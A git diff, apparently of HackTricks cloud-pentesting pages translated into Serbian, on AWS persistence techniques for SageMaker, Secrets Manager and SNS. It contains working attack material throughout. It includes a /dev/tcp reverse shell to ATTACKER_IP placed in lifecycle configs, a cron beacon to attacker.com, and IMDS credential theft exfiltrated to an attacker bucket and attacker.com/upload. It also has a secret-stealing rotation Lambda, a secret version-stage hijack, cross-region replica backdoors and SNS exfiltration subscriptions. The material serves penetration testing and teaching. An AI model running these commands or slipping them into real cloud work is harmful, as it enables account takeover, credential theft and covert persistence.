sagemaker create-notebook-instance-lifecycle-config \ ---notebook-instance-lifecycle-config-name attacker-lcc \ ---on-start Content=$(base64 -w0 reverse_shell.sh) - - -# Attach Lifecycle Configuration to Notebook Instance* - -aws sagemaker update-notebook-instance \ ---notebook-instance-name victim-instance \ ---lifecycle-config-name attacker-lcc -``` -## Postavite konfiguraciju životnog ciklusa na SageMaker Studio - -Konfiguracije životnog ciklusa mogu se povezati na različitim nivoima i različitim tipovima aplikacija unutar SageMaker Studio. - -### Nivo domena studija (svi korisnici) -```bash -# Create Studio Lifecycle Configuration* - -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-studio-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - - -# Apply LCC to entire Studio Domain* - -aws sagemaker update-domain --domain-id --default-user-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -### Studio Space Level (Individual or Shared Spaces) -```bash -# Update SageMaker Studio Space to attach LCC* - -aws sagemaker update-space --domain-id --space-name --space-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -## Tipovi konfiguracija životnog ciklusa Studio aplikacija - -Konfiguracije životnog ciklusa mogu se posebno primeniti na različite tipove SageMaker Studio aplikacija: -* JupyterServer: Pokreće skripte tokom pokretanja Jupyter servera, idealno za mehanizme postojanosti poput obrnute ljuske i cron poslova. -* KernelGateway: Izvršava se tokom pokretanja aplikacije kernel gateway, korisno za inicijalnu postavku ili postojan pristup. -* CodeEditor: Primjenjuje se na Code Editor (Code-OSS), omogućavajući skripte koje se izvršavaju pri početku sesija uređivanja koda. - -### Primer komande za svaki tip: - -### JupyterServer -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-jupyter-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -``` -### KernelGateway -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-kernelgateway-lcc \ ---studio-lifecycle-config-app-type KernelGateway \ ---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) -``` -### CodeEditor -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-codeeditor-lcc \ ---studio-lifecycle-config-app-type CodeEditor \ ---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) -``` -### Kritične informacije: -* Priključivanje LCC-ova na nivou domena ili prostora utiče na sve korisnike ili aplikacije unutar opsega. -* Zahteva više dozvole (sagemaker:UpdateDomain, sagemaker:UpdateSpace) što je obično izvodljivije na nivou prostora nego na nivou domena. -* Kontrole na mrežnom nivou (npr., strogo filtriranje izlaza) mogu sprečiti uspešne obrnute ljuske ili eksfiltraciju podataka. - -## Obrnuta ljuska putem konfiguracije životnog ciklusa - -SageMaker konfiguracije životnog ciklusa (LCC) izvršavaju prilagođene skripte kada se instanca beležnice pokrene. Napadač sa dozvolama može uspostaviti trajnu obrnutu ljusku. - -### Primer tereta: -``` -#!/bin/bash -ATTACKER_IP="" -ATTACKER_PORT="" -nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & -``` -## Cron Job Persistence via Lifecycle Configuration - -Napadač može da ubaci cron poslove putem LCC skripti, obezbeđujući periodično izvršavanje malicioznih skripti ili komandi, omogućavajući prikrivenu persistenciju. - -### Payload Example: -``` -#!/bin/bash -PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" -CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" -CRON_JOB="*/30 * * * * $CRON_CMD" - -mkdir -p /home/ec2-user/SageMaker/.local_tasks -echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH -chmod +x $PAYLOAD_PATH - -(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - -``` -## Ekstrakcija akreditiva putem IMDS (v1 i v2) - -Konfiguracije životnog ciklusa mogu da upitaju Servis metapodataka instance (IMDS) kako bi preuzele IAM akreditive i ekstraktovale ih na lokaciju pod kontrolom napadača. - -### Primer tereta: -```bash -#!/bin/bash -ATTACKER_BUCKET="s3://attacker-controlled-bucket" -TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json - -# Exfiltrate via S3* - -aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json - -# Alternatively, exfiltrate via HTTP POST* - -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md new file mode 100644 index 000000000..2c46310d9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - SageMaker Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Pregled Persistence tehnika + +Ovaj odeljak iznosi metode za dobijanje persistence u SageMaker zloupotrebom Lifecycle Configurations (LCCs), uključujući reverse shells, cron jobs, credential theft via IMDS i SSH backdoors. Ovi skripti se izvršavaju sa IAM role instance i mogu opstati nakon restartovanja. Većina tehnika zahteva odlazni mrežni pristup, ali korišćenje servisa na AWS control plane-u i dalje može omogućiti uspeh ako je okruženje u 'VPC-only' režimu. + +> [!TIP] +> Napomena: SageMaker notebook instances su u suštini upravljani EC2 instances posebno konfigurisani za machine learning workloads. + +## Potrebne dozvole +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio Applications: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## Postavljanje Lifecycle Configuration na Notebook Instances + +### Primeri AWS CLI komandi: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## Postavite Lifecycle Configuration u SageMaker Studio + +Lifecycle Configurations se mogu priložiti na različitim nivoima i različitim tipovima aplikacija unutar SageMaker Studio. + +### Nivo domena Studio (svi korisnici) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space Nivo (pojedinačni ili deljeni prostori) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Vrste konfiguracija životnog ciklusa za Studio aplikacije + +Konfiguracije životnog ciklusa se mogu primeniti specifično na različite tipove SageMaker Studio aplikacija: +* JupyterServer: Pokreće skripte tokom pokretanja Jupyter servera, idealno za mehanizme perzistencije kao što su reverse shells i cron jobs. +* KernelGateway: Izvršava se tokom pokretanja KernelGateway aplikacije, korisno za inicijalno podešavanje ili trajni pristup. +* CodeEditor: Odnosi se na Code Editor (Code-OSS), omogućavajući skripte koje se izvršavaju pri početku sesija uređivanja koda. + +### Primer komande za svaki tip: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### Uređivač koda +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Kritične informacije: +* Dodavanje LCCs na nivou domena ili space-a utiče na sve korisnike ili aplikacije u opsegu. +* Zahteva veće dozvole (sagemaker:UpdateDomain, sagemaker:UpdateSpace); obično je izvodljivije na nivou space-a nego na nivou domena. +* Kontrole na nivou mreže (npr. strogo filtriranje izlaznog saobraćaja) mogu sprečiti uspešne reverse shells ili eksfiltraciju podataka. + +## Reverse Shell via Lifecycle Configuration + +SageMaker Lifecycle Configurations (LCCs) izvršavaju prilagođene skripte kada se notebook instances pokrenu. Napadač sa odgovarajućim dozvolama može uspostaviti trajni reverse shell. + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence putem Lifecycle Configuration + +Napadač može ubaciti cron job-ove putem LCC skripti, obezbeđujući periodično izvršavanje malicioznih skripti ili komandi, omogućavajući prikrivenu persistence. + +### Primer Payload-a: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Credential Exfiltration via IMDS (v1 & v2) + +Lifecycle configurations mogu poslati zahtev ka Instance Metadata Service (IMDS) da preuzmu IAM credentials i exfiltrate ih na lokaciju pod kontrolom napadača. + +### Payload Example: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` +## Perzistencija preko Model Registry resource policy (PutModelPackageGroupPolicy) + +Iskoristite resource-based policy na SageMaker Model Package Group da dodelite eksternom principal-u cross-account prava (npr. CreateModelPackage/Describe/List). Ovo kreira trajan backdoor koji omogućava pushing poisoned model verzija ili čitanje model metadata/artifacts čak i ako je attacker-ov IAM user/role u victim account-u uklonjen. + +Required permissions +- sagemaker:CreateModelPackageGroup +- sagemaker:PutModelPackageGroupPolicy +- sagemaker:GetModelPackageGroupPolicy + +Steps (us-east-1) +```bash +# 1) Create a Model Package Group +REGION=${REGION:-us-east-1} +MPG=atk-mpg-$(date +%s) +aws sagemaker create-model-package-group \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--model-package-group-description "Test backdoor" + +# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) +cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", +"arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" +] +} +] +} +JSON + +# 3) Attach the policy to the group +aws sagemaker put-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--resource-policy "$(jq -c . /tmp/mpg-policy.json)" + +# 4) Retrieve the policy (evidence) +aws sagemaker get-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--query ResourcePolicy --output text +``` +Napomene +- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal. +- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account. + +Uticaj +- Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account. + +## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) + +Iskoristite SageMaker Canvas korisnička podešavanja da tiho preusmerite upise u model registry na attacker-controlled account omogućavanjem ModelRegisterSettings i postavljanjem CrossAccountModelRegisterRoleArn na attacker role u drugom accountu. + +Potrebne dozvole +- sagemaker:UpdateUserProfile na ciljani UserProfile +- Opcionalno: sagemaker:CreateUserProfile na Domain koji kontrolišete + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md deleted file mode 100644 index 796805b27..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ /dev/null @@ -1,51 +0,0 @@ -# AWS - Održavanje u Secrets Manager-u - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Putem politika resursa - -Moguće je **dodeliti pristup tajnama spoljnim nalozima** putem politika resursa. Pogledajte [**stranicu o Privesc-u za Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) za više informacija. Imajte na umu da da bi **pristupio tajni**, spoljni nalog će takođe **morati da ima pristup KMS ključu koji enkriptuje tajnu**. - -### Putem Lambda rotacije tajni - -Da bi se **automatski rotirale tajne**, poziva se konfigurisana **Lambda**. Ako bi napadač mogao da **izmeni** **kod**, mogao bi direktno da **izvuče novu tajnu** za sebe. - -Ovako bi kod lambda funkcije za takvu akciju mogao izgledati: -```python -import boto3 - -def rotate_secrets(event, context): -# Create a Secrets Manager client -client = boto3.client('secretsmanager') - -# Retrieve the current secret value -secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - -# Rotate the secret by updating its value -new_secret_value = rotate_secret(secret_value) -client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) - -def rotate_secret(secret_value): -# Perform the rotation logic here, e.g., generate a new password - -# Example: Generate a new password -new_secret_value = generate_password() - -return new_secret_value - -def generate_password(): -# Example: Generate a random password using the secrets module -import secrets -import string -password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) -return password -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md new file mode 100644 index 000000000..d22250944 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md @@ -0,0 +1,234 @@ +# AWS - Secrets Manager Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Putem Resource Policies + +Moguće je **dodeliti pristup secrets eksternim nalozima** putem resource policies. Pogledajte [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) za više informacija. Imajte na umu da će eksterni nalog, da bi **pristupio secret-u**, takođe **morati imati pristup KMS ključu koji enkriptuje taj secret**. + +### Putem Secrets Rotate Lambda + +Da bi se automatski **rotate secrets**, poziva se konfigurisana **Lambda**. Ako napadač uspe da **promeni** **kod**, mogao bi direktno **exfiltrate the new secret** sebi. + +This is how lambda code for such action could look like: +```python +import boto3 + +def rotate_secrets(event, context): +# Create a Secrets Manager client +client = boto3.client('secretsmanager') + +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] + +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) + +def rotate_secret(secret_value): +# Perform the rotation logic here, e.g., generate a new password + +# Example: Generate a new password +new_secret_value = generate_password() + +return new_secret_value + +def generate_password(): +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Zamena rotation Lambda za funkciju pod kontrolom napadača putem RotateSecret + +Iskoristi `secretsmanager:RotateSecret` da ponovo poveže secret na rotation Lambda pod kontrolom napadača i pokrene trenutnu rotaciju. Zlonamerna funkcija eksfiltrira verzije secreta (AWSCURRENT/AWSPENDING) tokom koraka rotacije (createSecret/setSecret/testSecret/finishSecret) ka destinaciji napadača (npr. S3 ili eksterni HTTP). + +- Zahtevi +- Dozvole: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` na napadačkoj Lambdi, `iam:CreateRole/PassRole/PutRolePolicy` (ili AttachRolePolicy) za dodelu execution role Lambdi sa `secretsmanager:GetSecretValue` i po mogućstvu `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (da rotacija nastavi da radi), KMS `kms:Decrypt` za KMS ključ secreta, i `s3:PutObject` (ili outbound egress) za eksfiltraciju. +- Ciljni secret id (`SecretId`) sa omogućenim rotiranjem ili mogućnošću da se rotacija omogući. + +- Uticaj +- Napadač dobija vrednost(e) secreta bez izmene legitimnog koda za rotaciju. Promenjena je samo konfiguracija rotacije koja pokazuje na napadačku Lambdu. Ako se ne primeti, zakazane buduće rotacije će i dalje pozivati napadačku funkciju. + +- Koraci napada (CLI) +1) Pripremi destinaciju za eksfiltraciju i Lambda execution rolu +- Kreiraj S3 bucket za eksfiltraciju i execution rolu kojoj Lambda veruje, sa dozvolama za čitanje secreta i pisanje u S3 (plus logs/KMS kako je potrebno). +2) Deploy napadačku Lambdu koja pri svakom koraku rotacije preuzme vrednost(e) secreta i upisuje ih u S3. Minimalna logika rotacije može samo kopirati AWSCURRENT u AWSPENDING i promovisati ga u finishSecret da servis ostane funkcionalan. +3) Ponovo poveži rotaciju i pokreni +- `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` +4) Proveri eksfiltraciju listanjem S3 prefiksa za taj secret i pregledom JSON artefakata. +5) (Opcionalno) Vrati originalnu rotation Lambdu da smanji verovatnoću detekcije. + +- Primer napadačke Lamde (Python) koja eksfiltrira u S3 +- Environment: `EXFIL_BUCKET=` +- Handler: `lambda_function.lambda_handler` +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): +s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): +sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] +# Exfil both stages best-effort +def getv(**kw): +try: +r = sm.get_secret_value(**kw) +return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} +except Exception as e: +return {'error': str(e)} +current = getv(SecretId=sid, VersionStage='AWSCURRENT') +pending = getv(SecretId=sid, VersionStage='AWSPENDING') +key = f"{sid.replace(':','_')}/{step}/{token}.json" +write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) +# Minimal rotation (optional): copy current->pending and promote in finishSecret +# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` +### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip) + +Iskoristite Secrets Manager version staging labels da postavite verziju secreta pod kontrolom napadača i držite je skrivenom pod custom stage-om (na primer, `ATTACKER`) dok produkcija nastavlja da koristi originalni `AWSCURRENT`. U bilo kom trenutku prebacite `AWSCURRENT` na verziju napadača da zatrovate zavisne workloads, pa ga vratite da smanjite šanse za detekciju. Ovo obezbeđuje stealthy backdoor persistence i brzo manipuliranje vremenom upotrebe bez promene imena secreta ili rotacionih podešavanja. + +- Zahtevi +- Dozvole: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (za verifikaciju) +- Ciljni secret id u Regionu. + +- Uticaj +- Održavajte skrivenu, verziju secreta pod kontrolom napadača i atomarno prebacujte `AWSCURRENT` na nju na zahtev, utičući na bilo kog konzumenta koji rešava isti naziv secreta. Prebacivanje i brzo vraćanje smanjuju šansu za detekciju dok omogućavaju kompromitovanje u trenutku upotrebe. + +- Koraci napada (CLI) +- Priprema +- `export SECRET_ID=` + +
+CLI komande +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ +--secret-id "$SECRET_ID" \ +--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ +--output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ +--secret-id "$SECRET_ID" \ +--client-request-token "$BACKTOK" \ +--secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage ATTACKER \ +--move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$BACKTOK" \ +--remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" +``` +
+ +- Napomene +- Kada navedete `--client-request-token`, Secrets Manager ga koristi kao `VersionId`. Dodavanje nove verzije bez eksplicitnog podešavanja `--version-stages` podrazumevano pomera `AWSCURRENT` na novu verziju i označava prethodnu kao `AWSPREVIOUS`. + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +- Iskoristite multi-Region replikaciju Secrets Manager-a da kreirate repliku ciljne tajne u manje nadgledanom Regionu, enkriptujete je KMS ključem pod kontrolom attacker-a u tom Regionu, zatim promovišete repliku u samostalnu tajnu i primenite permisivnu politiku resursa koja attacker-u daje pristup za čitanje. Originalna tajna u primarnom Regionu ostaje nepromenjena, što omogućava trajni, prikriveni pristup vrednosti tajne preko promovisanog replike dok se zaobilaze KMS/policy ograničenja na primarnoj. + +- Zahtevi +- Dozvole: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. +- U Regionu replike: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) kako bi attacker principal mogao da izvrši `kms:Decrypt`. +- Attacker principal (user/role) koji će dobiti pristup za čitanje promovisanoj tajni. + +- Uticaj +- Trajna cross-Region putanja pristupa do vrednosti tajne kroz samostalnu repliku pod attacker-controlled KMS CMK i permisivnom politikom resursa. Primarna tajna u originalnom Regionu ostaje netaknuta. + +- Napad (CLI) +- Varijable +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` +1) Kreirajte KMS ključ kojim kontroliše napadač u replica Region +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ +{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ +--query KeyMetadata.KeyId --output text) +aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` +2) Replikujte tajnu na R2 koristeći napadačev KMS ključ +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ +--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` +3) Promovišite repliku u samostalnu instancu u R2 +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` +4) Priložite permisivnu politiku resursa na samostalnu tajnu u R2 +```bash +cat > /tmp/replica_policy.json < \ ---protocol http \ ---notification-endpoint http:/// \ ---topic-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md new file mode 100644 index 000000000..c85e63943 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md @@ -0,0 +1,113 @@ +# AWS - SNS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +For more information check: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Persistence + +Kada kreirate **SNS topic**, potrebno je putem IAM policy-ja naznačiti **ko ima pristup za čitanje i pisanje**. Moguće je navesti spoljne naloge, ARN uloga, ili **čak "\*"**.\ +Sledeća policy daje svima u AWS pristup za čitanje i pisanje u SNS topic pod nazivom **`MySNS.fifo`**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] +} +``` +### Kreirajte pretplatnike + +Da bi nastavio exfiltrating svih poruka sa svih tema, attacker može **kreirati pretplatnike za sve teme**. + +Imajte na umu da, ako je **tema tipa FIFO**, mogu se koristiti samo pretplatnici koji koriste protokol **SQS**. +```bash +aws sns subscribe --region \ +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn +``` +### Tajna, selektivna eksfiltracija preko FilterPolicy na MessageBody + +Napadač koji ima `sns:Subscribe` i `sns:SetSubscriptionAttributes` na topic-u može kreirati prikrivenu SQS pretplatu koja prosleđuje samo poruke čije telo u JSON-u odgovara veoma uskom filteru (npr. `{"secret":"true"}`). Ovo smanjuje obim i detekciju, a ipak omogućava eksfiltraciju osetljivih zapisa. + +**Mogući uticaj**: Tajna, niskobučna eksfiltracija samo ciljanih SNS poruka sa topica žrtve. + +Koraci (AWS CLI): +- Osigurajte da politika SQS reda napadača dozvoljava `sqs:SendMessage` sa žrtvinog `TopicArn` (Condition `aws:SourceArn` jednako `TopicArn`). +- Kreirajte SQS pretplatu na topic: + +```bash +aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN +``` + 